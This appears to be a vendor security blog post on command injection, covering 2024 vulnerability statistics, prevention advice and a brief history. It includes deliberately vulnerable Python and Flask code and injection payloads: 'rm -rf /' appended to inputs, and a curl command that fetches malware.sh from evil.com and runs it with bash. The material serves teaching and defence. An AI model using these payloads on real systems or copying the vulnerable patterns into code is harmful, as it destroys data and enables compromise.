Command injection in 2024 unpacked
What is Command Injection?
Command injection is a vulnerability still very prevalent in web applications despite being less famous than its cousins SQL injection or Code injection. If you’re familiar with other injection vulnerabilities, you’ll recognize the common principle: untrusted user input is not properly validated, leading to the execution of arbitrary system commands. This flaw occurs when unvalidated input is passed to system-level functions. So how prominent is command injection actually? We looked at how common it is to see this vulnerability in the wild, *spoiler*, it is surprisingly common!
Example of Command Injection
Consider this example of command injection, let’s say you have an application where you can enter the name of a file hosted on a server. The application retrieves that file writing out its content. The code for which is below
import os
file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")
The above code expects a user to insert a file name like file.txt
, but instead a malicious user injects some code to run malicious commands.
For example
Name of file: file.txt; rm -rf /
This input would first display the contents of file.txt
and then execute the malicious rm -rf
command, which will forcibly delete all the files in a directory.
The malicious user can do this because the application did not validate or sanitize the user's input making the application susceptible to command injection.
If you would like a more comprehensive example see the bonus content at the bottom of this page.
Command Injection in Numbers: Our Research
- 7% of all vulnerabilities found in open-source projects in 2024 were command injection
- 5.8% for closed-source projects!
- An increase in the total number of command injection vulnerabilities in open-source projects from 2,348 (2023) to an expected 2,600 (2024).
- As a percentage of all vulnerabilities, Command injection is getting less popular: a decrease of 14.6% and 26.4% for open-source and closed-source projects respectively from 2023 to 2024
Our research focused on researching both open-source and closed-source projects to reveal how many had command injection vulnerabilities hiding within.
Overall the number of command injection vulnerabilities is very high with 7% of allvulnerabilities reported in open-source projects being command injection and 5.8% in closed-source projects. This is quite close to the number of SQL injection vulnerabilities found.
There is some good news to pull out of the data too, we are seeing a solid trend of these vulnerabilities reducing from 2023 to 2024. As a percentage of all vuleribilities we saw a reduction of 27% in closed-source projects and 14% in open-source. There are likely many factors contributing to this, one likely significant factor is that the FBI and CISA in 2024 pointed to command injection as a real threat and urged vendors to pay attention to it. According to the data, this warning was heard.
The good news unfortunately stops there. We are still seeing an increase in the overall number of vulnerabilities reported in open-source projects. The total number of injection vulnerabilities reported in open-source projects went from 2,348 in 2023 to 2,450 so far in 2024 (expected to reach 2,600)
How to Prevent Command Injection
Preventing command injection vulnerabilities requires a multi-faceted approach:
Server-side Input Validation
A common mistake some make is performing only clientside validation which can be bypassed by an attacker making a direct request.
import subprocess
# Example of restricted input
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt" # This should come from user, but is validated
if user_input in allowed_files:
subprocess.Popen(['ls', '-l', user_input])
else:
print("Invalid input!")
Avoid shell commands
Replace shell commands with language-native functions or libraries where possible. Below is an example of using read only mode to open a file and read the contexts within.
with open("file.txt", "r") as f:
print(f.read())
Automated Testing
Use tools like Aikido to scan your source code and application to discover these vulnerabilities.
Use an in-app firewall
One of the best defenses against injection attacks is an in-app firewall that is able to catch and block malicious commands. Aikido’s in-app firewall Zen is available in open-source and commercial is able to detect and block injection attacks at run time.
Apply the Principle of Least Privilege
Configure applications and users to run with the minimum privileges necessary, reducing potential damage from exploitation.
The road forward
Command injection along with many injection vulnerabilities is a challenge, from a technology point of view, we have solved this, meaning there is no need to have this kind of vulnerability in your applications. With that in mind, the fact that we still see so many of these types of vulnerabilities means we can’t expect a quantum leap of improvement.
Command injection will continue to be a problem however because we did see a significant drop this year with large organizations putting a focus on this vulnerability, there is hope to think that command injection may become less prominent in the future if we continue to bring awareness to it.
Bonus Content
A History of Command Injection: Prominent Breaches
Command injection has been a persistent threat for a long time. In fact, there was a significant command injection vulnerability that was present in bash from 1989 all the way to 2014. More recently in 2024, the importance of command injection was highlighted by the CISA and FBI showing it is still a big concern.
1. Early Days of Command Injection
- First Known Usage: Command injection vulnerabilities emerged with the rise of multi-user computing systems in the 1970s and 1980s, allowing attackers to execute arbitrary commands via unsanitized inputs.
- 1980s and 1990s: The proliferation of web technologies led to increased exploitation of command injection, particularly through improperly secured CGI scripts.
2. Significant Breaches and Exploits
- 1998: The First Documented Web-based Command Injection Attack: A vulnerability in a widely used Perl-based CGI script was exploited, marking one of the first major web-based command injection incidents.
- 2010: Stuxnet Worm (Embedded Command Injection): Stuxnet utilized command injection to target industrial control systems, demonstrating the vulnerability's reach beyond traditional IT environments.
3. 2010s: Exploitation at Scale
- 2014: Shellshock Vulnerability: Shellshock (CVE-2014-6271) exploited Bash's command processing, affecting millions of systems worldwide.
- 2018: Cisco ASA VPN Exploit (CVE-2018-0101): A command injection vulnerability in Cisco's ASA software allowed remote code execution, compromising enterprise security.
4. 2020s: Modern Exploits and Trends
- 2020: Citrix ADC Gateway Exploit: Attackers exploited command injection vulnerabilities in Citrix systems, leading to significant data breaches.
- 2023: MOVEit Vulnerability (SQL and Command Injection): A command injection flaw in MOVEit Transfer software led to widespread data breaches across multiple organizations.
Realistic command injection vulnerability
The Vulnerable Code
Let's look at a slightly more complex example of command injection. Below is some code for a simple Python web application. It allows users to create a ZIP archive of specified files by sending a POST request to the /archive
route.
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/archive', methods=['POST'])
def archive_files():
files = request.form.get('files') # User provides file names to archive
archive_name = request.form.get('archive_name') # User provides archive name
command = f"zip {archive_name}.zip {files}" # Command built dynamically
os.system(command) # Execute the system command
return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
app.run(debug=True)
How It Works
The user supplies:
files
(e.g.,file1.txt file2.txt
) to specify which files to include in the archive.archive_name
to specify the name of the resulting zip archive.
The code constructs a shell command dynamically:
1. zip archive_name.zip file1.txt file2.txt
2. The os.system()
function executes the command, allowing the user-provided inputs to dictate its behavior.
Exploitation
An attacker exploits this by injecting additional commands into the archive_name
or files
inputs.
Input Provided by the Attacker:
archive_name
:my_archive; rm -rf /
files
:file1.txt
The Resulting Command:
zip my_archive.zip file1.txt; rm -rf /
zip my_archive.zip file1.txt
: Creates an archive as expected.; rm -rf /
: Deletes all files on the server by executing a separate destructive command.
A More Sophisticated Example
The attacker might exploit this to download malware or exfiltrate data:
archive_name
: archive; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh
Resulting Command:
zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh
This command:
- Creates an archive (
zip archive.zip file1.txt
). - Downloads malicious code (
curl -o malware.sh http://evil.com/malware.sh
). - Executes the malware (
bash malware.sh
).